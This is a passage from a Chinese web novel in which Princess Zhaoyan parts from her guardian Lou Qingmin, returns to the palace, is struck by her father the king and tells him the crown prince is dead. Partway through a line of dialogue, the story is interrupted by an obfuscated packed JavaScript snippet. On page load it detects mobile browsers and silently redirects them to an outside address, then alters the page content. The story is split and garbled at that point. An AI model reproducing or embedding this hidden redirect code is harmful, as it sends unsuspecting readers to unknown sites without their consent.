晚风的温度降了下来。 朝颜打了个冷颤,双眸清明,复而睁开。然刚睁开眼便听见身侧人开口:“殿下今日兴致不高,可是有什么心事?” 娄卿旻虽能猜出一二,但还是想从她口中知道她所为何事而忧虑,所以他也开始明知故问这一套。 话音刚落下,朝颜摇摇头,回应他:“没什么,只是不想离开这儿。” 确切地说,是不想如此被迫离开。 想到叶扶桑那些人的遭遇,她心口便闷闷的。 许是喝酒壮胆,易吐真言,身侧人又是可信的,她便将自己心中所想尽数道出:“原本是想过了夏至再回去准备及笄之礼,可如今却是不得不走。我,我原本还想帮她们一把的,但是如今没机会了……” 她原先计划着做些什么,让稷粮城这样不把女子当人的破观念破规矩彻底废除,免得再有贩卖女子之类的事情发生,可还未来得及做便要走了。 娄卿旻听出她的意图,回忆起曾经见过的那些可怜之人,心中燃起淡淡的悲。 他偏过头垂眸看她,又瞥见她面上的无措,既心疼又无奈,他不愿见朝颜如此没精打采,故意粗鲁地开口,试图唤醒处在迷雾中的她:“殿下这般想便是错了。天下陷入困顿之人数不胜数,若仅凭殿下一人,是如何救都救不完的。” “那便什么都不做么?”朝颜下意识反问他。 娄卿旻没接话。 朝颜又道:“我身居高位,有着令人畏惧的身份,自是无人敢把我如何,但我也想试着帮那些普通人家的女子像关奂一样,可以得到自由,想做什么便做什么。我也想向众人证明,女子也是有价值的,并不是可以一味地被买卖交换,被人驱使的奴隶、物件。” “世人对女子的偏见太重,不辛苦为夫家当牛做马便是不忠,不将自己一生奉献给全家老小便是不义,不诞下子嗣便是不孝。” “哪有如此断章取义的事?” 脑海中回忆着前世结局,朝颜就这样发泄般地说了许多话,想再灌一杯酒清醒清醒却发现酒器不知何时已被身侧人拿走。 突如其来的悲痛与不爽涌上心头,眼角顿时滑下两行泪,语气哽咽着:“活在这乱世中,女子被好好对待是很难的一件事。我想让其变得容易些,哪怕只有一点点……” 也比半点都不作为要好上一些。 奈何,她还未开始做便要离开。 先前喝下的酒劲忽然上头,朝颜神志混沌不清,眉眼撇过娄卿旻剑柄上那缕红绳剑穗,手心碰到身侧悬挂着的香囊,一想到里面装着的是眼前人赠予她的压胜钱,情绪涌上心间,她忽然就失了智,将心中一直存疑的事情直截了当地点破: “我与大人共处一年之久,大人总在背后保护我,赠我压胜钱,又因我失了名声,这些都是实打实的真,难道大人就如此冷漠,当作什么都没发生一样,舍得我就此离开?” 话毕,男人拎着酒器的手臂忽然晃动了一下,一串酒水撒到地面。 娄卿旻承认,在那一刻他是慌了神。 他动了动唇,一些暗存的情愫快要呼之欲出,但他看着少女的眼眸,其中清明一片,没有半分男女间的情意。 内心的波涛汹涌被浇灭大半,他才知晓朝颜只是酒劲上来了,又不愿离开,才开始胡言乱语,好在朝颜神志不清,未发现他方才的小心思,他慌神片刻便又重新严肃起来。 他不想承认眼前人无意中已将自己伪装得很好的心思看破,也不愿让二人的关系再有变化,索性直接打破朝颜认定的事实,转移话题道:“殿下,臣并无此意。为国效力,与人和亲,本就是殿下的职责,王命在前,臣不敢多加妄言。” 并无此意,不敢妄言。 好一个并无此意,不敢妄言。 朝颜说不清心里是何种滋味,她只觉得被泼了盆冷水,浑身又冷又僵。 好似在娄卿 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也就是说,若弄不到稻籽,稷粮城来年收割粮食之季产出将大大减少! 事关众人的生存之根,必须要尽快想法子解决此事,若不然整个华纪都会受影响。 朝颜知晓粮食于家国的重要性,她沉沉叹了口气,将心中繁杂的想法甩了出去,而后思绪也被拉回正事上。 依稀记得去岁与普桑国使臣在华纪对峙时,他所提的条件便是自己嫁去,每年粮食便可第一个供应华纪。一想到那商人精明充满算计的眼神,她便知自己逃婚之事定免不了传到他耳中。 说来这桩婚事于普桑来说,利大于弊。 一来是可以靠她牵制王室,二来便是二国合作互利共赢。 只是这都是建立在兄长未战死之前,若兄长之事被普桑知晓,他们不一定会靠联姻手段对抗华纪。 朝颜满面愁容,喃喃自语:“如此说来,和亲于华纪亦是必然的。” 娄卿旻惯会察言观色,看出她的不喜,也不敢多解释半句。他不想因为自己的三言两语给朝颜带去困扰与误解,更不敢承认自己心中确有不舍。 他亦怕朝颜听后会动摇和亲的心思。 二人彼此心中想法各有千秋,相差千里,若互相讲明,是不一样的局面。 但他们却都固执,善于隐藏自己的内心,永远不会将那缕淡淡的情愫宣之于口。 娄卿旻总爱教导她。 一边将华纪缺粮导致的结局道破,一边绘声绘色地诉说和亲的好处。 朝颜听完他如此认真的话语,心中明了,他是真的为华纪大局考虑。 身上沾染的酒气早就散于风中,她眼神清明,面色平复,逐渐恢复了理智。 也是了。 和亲本该就是自己的职责,任谁也无法改变。 而后朝颜话锋一转,淡道:“好歹你我二人也共处了将近一年,临别前夕,我还有最后一个请求,望大人可以应下。” “殿下请讲。” “本公主要你护送我回华纪并亲自送我和亲,就当是替兄长照顾我最后一程,可好?” 兄长不在,华纪那些亲人也不算她的至亲,除了娄卿旻,她也没有别的熟识之人。 总归是离家千里,要做好再也回不去的打算,她不想这漫长的路途只有她孤零零一人。纵使她表面装得多么强大无畏,内心也有属于女孩的一点小天地,也会奢求有人关心她。 华纪那三位,只会发自内心、迫不及待赶她离开。 所以,除了娄卿旻,她无人可信了。 一席话毕,娄卿旻久久无言,直至最后眼眸暗了一瞬。 朝颜以为他为了划清与自己的界线,连这点小小的要求都不愿应下,自顾自地夺过酒器,偏过头沉闷地喝了一口酒。 罢了,不愿也不能强求,强扭的瓜不甜。 哪知她心灰意冷时,男人忽然说了一个字:“好。” 朝颜以为自己听错了,转头反问:“刚刚是你开口了么?” “是我。” “我说‘好’”。 娄卿旻难得放肆。 这是第一次,亦是最后一次。 他不与她君臣相称,只当彼此是知己,是兄妹。 63. 重回华纪(一) 五日后午时,稷粮城外守门卫兵匆匆忙忙跑回城主府通报,说城门外来了一个自称皇城监察御史的大人,亲自带了一队精锐骑兵特来迎公主回城。卫兵一边感叹骑兵威武的气势,一边绘声绘色描述队伍中间那辆极具奢靡的女子车舆,他只是瞄了一眼,都能察觉出它十足的气派。 卫覃一听监察御史申鹤山亲自到来,马不停蹄地放下手头事务便带着侍卫出城迎接。 朝颜身为公主虽说不必大驾,但一想到监察御史是朝穆身侧数一数二的人物,为人清廉负责,从不以权臣身份贬低下人,如此人物都亲自来接她,她便更不能故意摆公主的架子,得知消息后,随手带了帷帽,驾着骏马与娄卿旻一同到城门迎接。 抵达城门,朝颜远远地便见到队伍中高大华丽的车架。 微风徐徐,车舆上的纱幔于风中舞动,凌乱中添着一丝神秘,四角各挂着一串由璎珞穿成的挂饰,风起,挂饰晃动,发出的清脆碰撞声与纱幔合在一处,极度奢靡,此等待遇是朝颜先前从未有过的。 高大气派,奢靡威风的车架。 仿佛在向她叫嚣着:恭迎公主殿下回宫! 回到那吃人不眨眼的王宫。 一想到回去后会面对什么,朝颜胸口便涌上几分窒息,是还未坐上去便能感觉到的湮塞。 朝颜不耐地收回视线,转头看向队伍最前方站着的中年男人。 他身着一袭深黑色大袖宽衣,身材健硕,举止高雅,在与朝颜对视后,抚着长又黑的胡须,友好地微笑着。 申鹤山,监察御史。 朝颜幼时曾在宫中见过他几次,加上宫中那些有利他的传闻,心中对这位大人的印象也算是好的,随即下马走了过去。 申鹤山十分循规蹈矩,见公主下马带人行至自己面前,便主动向前迈了一大步,抬臂对朝颜行一揖礼,随后给了身后之人一个眼神,后方的侍卫便带头弯腰唤大军行了礼,“参见公主殿下!少傅大人!” 大国嫡公主的排面可谓是给得很足。 朝颜前世贵为王后,自是不惧此等场面,满身散发着淡淡贵气,语气平静,面带微笑:“众兵远道而来都辛苦了,快起来,不必多礼。” “谢殿下!” “殿下出门游历多时,也是时候该回去了!王上一直很惦念您,无时无刻都在想您回宫之事,故而让我等昼夜不息来接您回去。”申鹤山本本分分地表明来意,顺便将朝穆的话带到。 闻言,朝颜点头接下话:“想不到王上居然派申大人您亲自来了,您日理万机,还特意来此,倒让朝颜有些惶恐。” 说罢她明晃晃的视线在申鹤山身后的队伍一一扫视,认出其中几位是华纪精锐之兵。 自己那位父亲还真是用心良苦。 只是带她回去而已,至于大动干戈,费如此多重兵前来么? 不料下一瞬便听中年男人解释道:“殿下说的是哪里的话,王上担忧您的安危,临走时特意下令让臣等将您安然无恙带回皇城,公主贵为王室之尊,接您,臣等乐意至极。”也不敢不从。 话糙理不糙,申鹤山也在解释这只是王上的命令,他也是不得已听从王命。 如今自己在此出言讥讽,倒是有几分小家子气。想明白事情源头的朝颜便转移了话题:“先进城吧大人,大家舟车劳顿半月,也该歇歇了。” “谢殿下!” …… 朝颜与城主卫覃骑着马在最前方带路,不一会儿便将众人落在身后。娄卿旻则是故意放慢脚步,不知不觉便与队伍最后方的申鹤山行至一排。 “王上究竟是多么不放心公主?”娄卿旻面无表情地开口,眸中闪烁着一抹幽深。 身侧男人未料到他会为公主说话,明显愣了一瞬,后又接话:“毕竟有先例在前,不得不防。倒是你,从前最不喜管旁人之事,如今为何插手护着公主将近一年之久?” 娄卿旻不语,自顾自前行,过了片刻又意味深长地转过头,正视中年男人,说:“申大人,在下有事与你说,稍后抵达驿站,来我房内一叙。” 看着娄卿旻神秘又严肃的模样,申鹤山也收起看戏的面孔,他了解娄卿旻,如此严肃定是有要事相商。 看着男子直挺的背影,申鹤山陷入回忆。 早年娄卿旻刚入朝堂时,自己便对他青睐有加,因年长他许多,早登高位,便看着他一步步成长,立下诸多功绩,慢慢地,他也终于爬到与自己并肩的地位,他很高兴。 申鹤山观娄卿旻,好似是看着自己的孩子逐步成长,依稀记得两年前,他为了太子之事找到自己,二人才开始真正的互相了解,彼此交好。 谁知了解之后,竟惊奇地发现二人趣味相投,都喜好同一种茶,同样爱食老三样,久而久之他们便处成了忘年交…… 待回到驿站已是一炷香以后的事。 关上房门,娄卿旻将朝饶遇害之事与申鹤山言明后,男人顿时瞠目结舌,神情悲痛。华纪损失了一名得力战将,日后在中原地位怕是会一落千丈。 不过他瞬时便反应过来,娄卿旻所犯可是欺君大罪,心头也开始为自己这位知己而担忧。 一直隐瞒太子身亡之事虽然引走了敌国的视线,但若是事情败露,后果不堪设想。 娄卿旻看出他的忧虑,坦然解释:“在下也不想隐瞒,只是山匪前段时日又将稷粮城的粮食偷偷盗走,想来是察觉到什么,既如此那太子一事便更不能公之于众。” 闻言申鹤山很意外,“竟还有此事?”后又问:“你与公主二人都知道这两件事?” “知晓。” “你二人真是胡闹!”申鹤山气愤地甩袖,脸色有些难看,“欺上瞒下太子身亡一件事还不够么?连粮食之事也要作假?稻种没了,那来年该如何?” 他语气带着微怒,双手交叉搓在一起,又道:“我问你,这两件事若被王上发现了你该作何解释?公主是王上之子,又为女儿身,做错事容易得到谅解,你呢?你就不考虑考虑你自己该如何做?” 他想到朝颜,沉沉叹了口气,扶额道:“罢了,索性公主快要和亲,届时得了普桑的援助,华纪还能暂解燃眉之急。” 只是希望这些时日莫要再有战乱发生。 一阵叩门声打断娄卿旻要反驳的话,他走到门边,刚开门便见暮商弯腰将一缕绢帛递上,表情严肃语气认真,“大人,峮防来报,是缚小将军的字迹!” 听到是缚若寒的军报,娄卿旻心下一慌,知晓能让他出马定是十分紧急之事,便迅速接过。 看过消息后,他面上闪过片刻不舍,申鹤山在一侧盯着他,等他开口,不料却等到一阵无言。 许久后,娄卿旻双眸轻闭又睁开,面上露出十分无奈的神情,“申大人,在下还有一事想求您。” * 众人是带着王命而来,为将公主顺利带回,队伍只休了一夜便迅速整装踏上返程之路。 朝颜早料到这一日,却不想真正来临之时,自己竟会如此淡然。 豪华的轿撵自皇城而来,给足了朝颜公主的牌面。 上千名士兵跟在马车前后四周,只为保护公主安然回国,至少在外人眼中,这场浩大声势的返程之路实在光辉,令人艳羡。 可朝颜自己心知肚明,这是王上给她的警告,是明晃晃的监视,防止她再次逃跑而设的华丽囚笼。 队伍越过长街出了城池,城主与群芳阁的姐妹们跟了一路,直到城门,朝颜掀开轿撵的布帘与她们挥手告别。 虽未真正与她们相处过多少时日,但女子之间心有灵犀的相惜之情却是掩盖不了。发自肺腑的感谢之言已经在彼此回眸对视的每个 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等待娄卿旻的空隙中,她随手拿起腰侧悬着的香囊,取出那两枚压胜钱握在手心,铜钱微微发凉,往事浮现在眼前,她有点舍不得了。 舍不得离开,却又注定会离开。 远处忽然传来一阵急躁的马蹄声,愈来愈近,她心跳慢慢加快,直至熟悉的吁声落下,她掀开车帘向外探头,却见男子风尘仆仆的身影立在马车前方。 朝颜忧虑的目光总算添了丝笑意,她刚想吩咐人启程,便听男人先她一步说:“殿下,情况有变,臣恐怕不能护送您回去了。” “是,出了什么岔子么?”朝颜试探问。 “抱歉,答应您的事……臣要食言了。” “峮防山匪生变,臣奉王命须得带兵支援。不过臣会安排暗卫在暗处保护您,申大人也与臣交好,若您路上有何无法解决之事,可寻他相助。”娄卿旻说完一堆话又安静了。 此刻的他半点不敢直视朝颜的眼眸。 最后,他偏过身子,轻轻道了几个字:“您,一路珍重。” 一席话毕,他转过身不再看朝颜。 原本他也打算与朝颜一同回华纪,可昨日突然来了一封紧急军报,峮防山匪突袭军营,杀了数十名将士,此时此刻,战场比朝颜更需要他。 若是太子还在便不会出现此等状况,只可惜朝饶眼下已不在人世,他必须扛起保护华纪的重担,一定不能让别国发现华纪太子身亡的消息。 娄卿旻思虑深重,昨日一夜无眠,天亮之后暗卫全部到齐,他都不愿不告而别,只是四处安排人手在朝颜返程之路上好好保护她。 后来,他甚至安慰自己,保护华纪又何尝不是在保护她,这才姗姗来迟。 在意识到自己突然变得如此难决断之后,他又想,为国牺牲前往普桑和亲的她,又何尝不是与他有同样的重担? 生在华纪,人人便都要为华纪而战,若不战,又怎么安然无恙地过活? 国事在前,所有儿女情长都要排在后方。 这条路,只能她自己走。 这场战,只能他自己抗。 这场分别,注定会发生。 盯着男人略显慌乱的背影,朝颜明了他的言不由衷,下定决心好好告别:“既如此,少傅大人,我们便各自去往各自的战场,有缘再见了!” 话毕,她莞尔一笑,明眸皓齿,最为艳丽,世间他物仿佛失去了色彩。 随着朝颜一句轻飘飘的“启程”,浩荡长队迅速前行。 与此同时,娄卿旻也带着一支队伍快马加鞭地往峮防战场赶去。 长空之下,无数只大燕翱翔于半空,时而鸣叫时而翻转,无一不在昭示离别之景。 64. 重回华纪(二) 车马骑兵速度极快,朝颜一路上歇过几次。 抵达华纪宁淄城不过也就八日后。 阳春三月,群燕蹁跹,天气已然转暖,一路上四处可见新发绿芽与花苞,扑面而来的清新让人心情舒畅。连带着即将见到讨厌之人的烦闷的心绪也缓解许多。 落日熔金,暮云合璧。 高大的城墙由夯土砖石排列而建,屹立在护城河之后,夕阳下的护城河波光粼粼,水波纹浅浅映照在城墙上,似是活了般。 入了城,便见到各式各样实木所雕的房屋,极其精美独特。再次回到华纪,朝颜便更清晰地察觉出外界天地之广阔。 同为中原腹地,仅仅是华纪与燕国,建筑风格与房屋便大不相同。 莫要说千里开外的北狄与普桑。 世上如此之广阔,她却好似一粒渺小的沙,风将她吹到何处,她便去何处,除此之外,别无他路。 侥幸出逃诸多时日,兜兜转转又回到原地,她便知天命不可违,亦不能违。 华丽的轿撵被两侧骑兵围在中间,于城门徐徐前行。 皇城内有王宫,是华纪守卫最森严的地方,任何人出入都会例行检查,她自是也不例外。 已抵达城门口许久,宫内无人来此接应,除去驻守的守城兵将便只有街边驻足看热闹的百姓,在稷粮城有多热闹多气派,回了皇城便是有多么倍受冷落无人在意。 她早料到会受到此等待遇。 好在她原本所求的便不多,也不奢望父爱母爱。 此时此刻,想必自己那父王应该与继后衡泱泱和小公主一同举杯同庆,过着幸福美满的日子。 朝颜盯着车厢的软垫出神,心中猛然升起一抹厌恶,她很想逃离眼下的局面,不想与他们几人争执,亦不想见到他们。 可她又清楚明白,自她坐上车舆的那刻起,便不能再回头。 马车度过重重关卡,行了许久才停下,槐夏缓缓掀开布帘,一阵刺眼的日光袭来。 朝颜轻阖双眸,适应后又睁开眼,顺着布帘向外看去,金黄牌匾上,“闻昭宫”三个大字映入眼帘。 久违的熟悉感扑面而来,神思一下子被拉回从前兄长还在的日子里。 那时的她,有悲有喜,如今失去带给她喜悦之人,日后怕是再也不会快乐了。 “殿下,到了。”槐夏小心翼翼回头,看她没反应,出声提醒她。 朝颜整理好思绪下了轿,刚踏进自己的寝殿,便听到朝穆身侧的侍人来请她去金銮殿面见王上。 闻言朝颜心中不禁冷笑一声,皇城是他的地盘,想必轿撵刚入城他便知晓了,如此迫不及待兴师问罪,倒显得他身为一个王上,是真的无事可做。 “你去回禀他,就说本公主舟车劳顿半月之余,仪态纷乱身心俱疲,须得休整梳洗一下再去面见,以免污了王上的龙体。” 槐夏听完便出去一一禀告给王上派来的侍人,侍人听后心中不喜,但总归还是要给公主面子,便这样无功而返。 一直到天完全暗了下来,朝颜换了身桃红色曲裾长裙,挽起鬓发,才慢悠悠地赶去前殿。 * “孤的脸都快被你丢尽了!” 一巴掌扇在脸上,白嫩的皮肤刹时泛红,红唇渗出几缕血丝。 朝颜匆匆赶来前殿,见殿内燃着烛火,门外无人通报便自顾自走进来,哪知前脚刚迈进殿门槛,下一瞬便被等在殿门后的男人狠狠扇了一巴掌,啪的一声,力道很重,空荡荡大殿甚至有几声回音,这一巴掌似是要将他隐忍许久的怒完全发泄出来。 朝颜愣住,被打偏的头没转过来,接受了这个事实后,静静垂下眼睫,安分站在那,感受着面颊传出的阵痛。 紧接着朝她砸来的便是帝王怒不可遏的指责:“身为嫡公主,还是要和亲的人,不好好待在宫里做女红安分待嫁,竟敢私自索要太子妃的符节逃婚?你当真是不把孤这个父亲放在眼里了!” “王上莫要生气,气坏了身子。”娇滴滴的女声在男人身后传出,带着几分调笑意味,口中尽是为华纪着想的话:“毕竟颜儿这张脸还是要去普桑和亲,替国争光的,断不能打坏了。” 朝颜一下便听出女子的讽刺,她没理会,转过头看向面前男人,眸中带着微弱的倔强,即使是在灰暗的烛火下,那抹不服输依旧能看得清晰。 她不想屈服于朝穆所谓的父尊、王室脸面,也不愿给衡泱泱半点眼神,更不想在衡泱泱面前露出半分胆怯。 说者有意,听者有心,衡泱泱这句话倒是提醒了朝穆。 男人眼中恢复清明,怒气随着发泄也降下多半。 眼下最重要的不是教训朝颜,亦不是从一个孩子身上获取掌控感,而是他去岁与普桑国定下的盟约。 想到盟约中普桑愿意拿出最大的利润给华纪,他内心便沾沾自喜,他不能让任何人搅乱这巨大的利益。 心中怒气消散,朝穆脸色淡淡的,随即轻咳一声,替朝颜找好了借口:“罢了,孤不同一个不懂事的女娃计较。” “此次与少傅大人一同历练,应是涨了许多见识吧!日后嫁到普桑可不能像在华纪似得,任由自己性子胡来。出门在外你的一举一动都代表华纪,莫要丢孤与华纪众人的脸!” “……”回答他的是一阵沉默。 朝颜不想在大殿中上演一出慈父孝子的戏码,亦不想看他们夫妻二人恩爱调情。 之所以今日来见朝穆,她亦是有事与他说才受命来此,否则她可以用无数种理由来拒绝王上的召见。 他们说得对,她最大的作用是与普桑和亲,且是和亲的唯一人选,既然她无法抵抗,或许某些时候也可以为所欲为,反其道而行,利用普桑太子妃的身份为自己在华纪谋取利益。 思及此她后退一步对朝穆行一臣子之礼,正经道:“王上,朝颜今日面见是有一事机密之事要禀告,请王上退避众人,独留你我二人交谈,以免此事泄露出去威胁华纪的安危。” 夜已深,寂寥无音。 朝穆环顾四周,除了侍人便只有继后衡泱泱,不由得眉头一皱道:“都是一家人,有什么话不能当着王后的面说?” “此事危及华纪上万人的安全,天知,地知,王上知,臣知。若王上硬要一意孤行,出了岔子,臣也不会负责!” 见朝颜如此不退让,朝穆便也不再坚持,给了身后女子一个眼神,“你带人先回雪宫陪挽挽,孤稍后便过去。” 话毕,衡泱泱不情不愿地瞥了朝颜一眼,扭着细腰便带侍女们离开金銮殿。 殿门紧闭,殿内微暗,一缕熟悉的幽香萦绕于鼻尖之上,朝颜十分谨慎地找寻四周,不远处窗棂透过一丝凉风,吹着烛火摇摇晃晃,她专程走过去关上窗又返回,确认殿内除二人之外再无其他,才放下心。 朝穆不明所以,轻飘飘略过朝颜,慢行至大殿最前方的台阶,掀起衣袍,一步步向上走,最后端坐在镶满珍珠玉石的宝座上,摆出一副拭目以待的表情,他盯着少女的面容看了半刻,眸中透出一丝惊艳。 许久未见,她出落得愈发漂亮了,尤其是那双眸子,与已逝的元王后姜羽泉如出一辙,甚至还要更灵动、机敏几分。朝穆总有种奇怪的想法,若朝颜身为男儿身,定能与她兄长一样,为华纪立下不菲的功劳。 只是可惜了,竟是女子。 谁不知这乱世中女子保命都很难,莫要说建功立业。 此时的朝颜不知朝穆脑袋中这些稀奇古怪的想法,若知晓定会忍不住出言反驳。 她亦慢慢走上前来,面朝座上的人,恭恭敬敬跪地一拜,“请王上恕朝颜与娄少傅欺君之罪,朝颜想与王上禀明的是,太子朝饶在去岁与峮防对抗之战时,便已战死沙场,不在人世。” 话语如此简单,明明浅显易懂,朝穆却生平第一次想做个什么都不懂的聋人。 太子战死,不在人世。 这简直荒唐至极! 他瞪大双眼,不可置信地拍案起身,“朝颜,你在胡说八道什么?你可知欺君是死罪?你有几个脑袋敢来欺骗一国之君?” 他不信,也不愿相信。 此事重大,事关性命,若是真死了为何无人来报,却要从一个逃婚公主口中说出? 朝穆回想起娄卿旻送往王宫的几封来信,其中一封明明说得是已寻到朝饶,重伤未愈在宫外养伤,怎么到她嘴里便是不在人世了?简直令人难以信服! 朝穆满目无措,面带怒气,眉毛蹙起,像个要吃人的狼。 见男人情绪失控,朝颜垂眸,面带伤感。起初她也与朝穆一样,也不愿信,但羽堇和娄卿旻都亲眼见了兄长的衣衫与尸体,还有兄长的遗物,自是不会有假。 她第一次当着朝穆的面,脸色柔软下来,轻声解释: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405650|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “来之前,少傅大人和兄长的亲卫都已经去拜过他的衣冠冢了,据说就在峮防与北狄边境关隘不远处的山丘上。”说罢她将朝饶的最后所穿的衣物取出,递到朝穆面前。 这是一块华美的刺绣,绣着纯黄的华虫,朝穆一眼便认出这是仅华纪贵族可穿的精细丝织品,整个华纪除了朝饶的身份衣裳上可绣此物,再无旁人敢穿。 这就是证明太子身份的衣衫! 验证事实后,男人情绪彻底崩溃,他抱着沾满血迹的衣衫默默流泪,声音哽塞。 他身为帝王,一国之君,不能痛痛快快哭一场,只能隐忍着内心的痛苦,发出无尽悔恨,手握成拳狠狠怕打在桌案上,似乎感觉不到疼。 他知晓战场杀人不眨眼,迟早会有这一刻发生,但他那时还是未阻止太子亲自带兵。 如今朝饶战亡,才知后悔。 可世上本无后悔药,已经发生之事如何补救也为时已晚。 朝颜就这样看着男人秘密地哭了一场,许久后他没了声音,便知他心中稍微好了些。 朝穆擦干眼泪恢复了理智,面容一沉,严肃道:“此事绝对不能声张!眼下我华纪峮防还在与山匪对抗,若被其余二国知晓,定会趁人之危攻打我国,更何况太子身亡乃国家大事,此事若传入百姓耳中,华纪朝局亦会不稳。” “朝颜知晓。所以我与娄少傅在燕国时安排了一个假太子到别苑养伤以掩人耳目。” 她顿了顿,又道:“之所以今日悉数告知王上,也是想让您帮我们一同瞒住此事,尽量不让假太子在众人面前现身,让他以养伤为由待在别苑,便能保住这个秘密。” 朝穆听完朝颜所言,摩挲着手下的衣衫,又一滴泪滑落到衣缝中消散不见,许久后点头道:“既如此,那太子的重担便会尽数落到娄少傅身上,孤相信他定能胜任,待你嫁去普桑,我二国联手时便是彻底剿灭山匪,为太子报仇的那一日!” “至于你们故意隐瞒太子之事,也算替华纪着想。孤不会追究,今后你二人也要各司其职,把握好此次将功补过的机会。” “……谢王上!” 朝饶之死好似让被蒙蔽了双眼的朝穆被摘下了虚假的帝王面具,终于回归现实,他一下子便认清自己也是几个孩子的父亲,亦有身为父亲的责任。他沉寂片刻,忽然面上一软,眼底浮现一丝内疚,温柔地看着朝颜。 少女面上清晰的巴掌印记在告诫他是个多么差的父亲,竟对自己孩子下手。 朝穆愧疚不已,竟有片刻的失声,唤了朝颜两句,嗓音才恢复:“这十多年你受委屈了,是父亲对不住你。” “想当年你也才不到一岁,正是襁褓里的孩童,那么小那么乖,为父却将你母亲之死扣在你一个孩童身上,真真是我错了,我大错特错。” 他走下来,手臂伸到半空,想去抚朝颜受伤的脸,口中轻声询问:“你能原谅父亲么?” 朝颜后退一步拉开二人的距离,朝穆的手僵硬在半空,而后她直接一句话打破男人虚假的幻想:“那王上能让我不去和亲么?” 朝穆刹时清醒,收回手臂,语重心长道:“和亲之事事关家国利益,况且已签订盟约,身为大国怎可出尔反尔,半途而废?” 他拒绝了,几乎没有迟疑。 朝颜原本只是抱着一丝希望去试探,奈何朝穆依旧是不肯给她半分希冀,十多年过去了,她便也不执着这所谓的亲情。 而后又道:“王上不必如此,我不会做出任何不利华纪之事,您也不必用亲情捆绑我,您还是恢复成先前唯我独尊的王上便好,毕竟这么多年都与兄长一同抗过来了,如今就算兄长不在了,我也不需要多个假慈悲的父亲关心,我会不习惯。” 她说得如此决绝,毫不留情,朝穆心中又受了一记重创。 他叹了口气,摇摇头道:“罢了,到底是十多年,你心底怪我也是应该的。” 是他情到深处,又经历丧子之痛,带着突如其来的忏悔去关心抛弃多年的女儿,实属非人所为。 他转过身,一边走上高位,一边道:“从今日起孤不会再禁你的足,你可自由行动,只是,不可踏出皇城。” 果然啊,还是怕她逃…… 朝颜心里凉得彻底,也很清醒。 最后向他一拜,冷漠道别:“臣,遵命。” 说完便头也不回地离开了金銮殿。 65. 重回华纪(三) 夜阑人静,皎月照映人间大地。 朝颜说完那句话便自顾自地顶着一张受伤的脸,迎着冷风往闻昭宫赶,好在是夜里,光线微暗,一切朦胧模糊,看不清晰,若不然定会被旁人看了笑话。 女为悦己者容,就算她多么不将这张脸当作筹码,也会觉得疼,也会爱惜自己身体的每一处。 纤细的手指轻抚,伤口在风下又添了一丝阵痛,她唇角忍不住倒吸一口冷气。 她发誓,这是最后一次,日后她再不会给任何人伤害自己的机会。 闻昭宫内,槐夏为朝颜收拾好床褥,便乖巧地在殿门前等着,等了很久都得不到朝颜回来,她不放心,打着一盏灯笼便出门接人,哪知在拐角长廊处撞入来人怀中。 朝颜夜里看不清人,不过她认出槐夏手中的灯笼了,见槐夏也认出了她,二人随即对着彼此傻呵呵笑了几声,不料下一秒便听到少女惊呼:“殿下,你的脸!” 艳丽的面庞带着淡淡的红痕,唇角微微裂开一个口子,血渗出几分,明显破了相。 槐夏吓了一跳,拉着朝颜迅速跑回闻昭宫,而后特意端来一盏灯烛火对上朝颜的脸。仔细一看,其上竟印着五根十分清晰的手指印记。 她双眸瞪起,心疼极了,忙将手里的烛火放至案旁,去内殿的妆奁木匣中取了治伤的药膏。 她边走边想,谁人敢打公主。可不过一瞬她便想明白了,在这宫中,朝颜身份尊贵,除了那位高高在上的帝王,无人敢如此明目张胆打公主。 想到此处她也没多问,只是后悔,早知就一同与公主前去了,或许还能替公主挡下这一巴掌。 朝颜心中有事,回来后便坐在案前沉默不语,任由少女在自己面上涂抹,时不时抬眼看看槐夏,见她神情愈发委屈,快要哭出来似得,朝颜轻轻动了动她的手臂,安慰道:“我无事,真的。这一巴掌便算作回报他多年的生养之恩吧。” 槐夏没接话,只是眼眶慢慢泛红,泪珠止不住往下滑,她一边拿着药膏往她面颊上轻轻抹着,口中一边嘟囔着:“若是太子殿下在便好了……” 以太子殿下护短的性子,绝不会放任王上随意掌掴公主的。 偌大的王宫无人庇佑,槐夏委屈极了,也不知太子殿下何时回来。心想等他回来自己定要告状,他不在的时候,所有人都欺负公主。 闻言朝颜微微叹了口气,她何尝不想兄长回来?只可惜,再也没有那一日了。 看槐夏如此难过,朝颜也下定决心将兄长之事瞒得紧紧的,越少人知晓越好。 毕竟在华纪众人心中,太子是他们的救赎,他们背后强大的依靠,若是被他们知晓靠山已倒,人心溃散,于国于家都不利。 槐夏已帮她涂好药膏,她继而拉起槐夏的手臂,转移了话题: “槐夏,日后莫要提起兄长了,他也有自己的事要做,不能时时刻刻护着我。不过我保证,这是最后一次在他们手中受伤,日后我会努力成长得更加强大,尽全力保护你!毕竟我们也不是年幼的孩童了,不能次次依靠旁人。” 一席话毕,槐夏擦干眼泪,十分乖巧地点了点头,面上尽是对朝颜的敬佩。 “那公主和亲时,太子殿下会亲自护送您的吧?” “……或许会吧。” 朝颜忍不住又撒了一个善意的谎言。 说到此处,她竟不知不觉竟想起娄卿旻,随后双眸微弯,淡淡笑了笑,又自我安慰:“无事的,就算无人来送我也无甚。和亲于我来说不是什么大事,峮防百姓的安危最重要。” 槐夏在一侧听着,心中忍不住感叹公主的爱民之心,又觉得公主十分可惜。 明明是最尊贵的女子,婚姻大事却由不得自己做主,必须背负着保家卫国的责任,嫁给一个从未见过面的人。 她却将一切都说得如此轻飘飘,难道这就是生在王室的可悲之处? 这就是所谓万般皆是命,半点不由人? 二人彼此诉说着心事,许久后她们才慢吞吞梳洗更衣,上榻后已快到子时。 寂静的夜,温暖的衾被。朝颜侧身盯着一屏风之隔的槐夏,她伸手摸到帛枕下的匕首,回想起还在燕国等她的人。 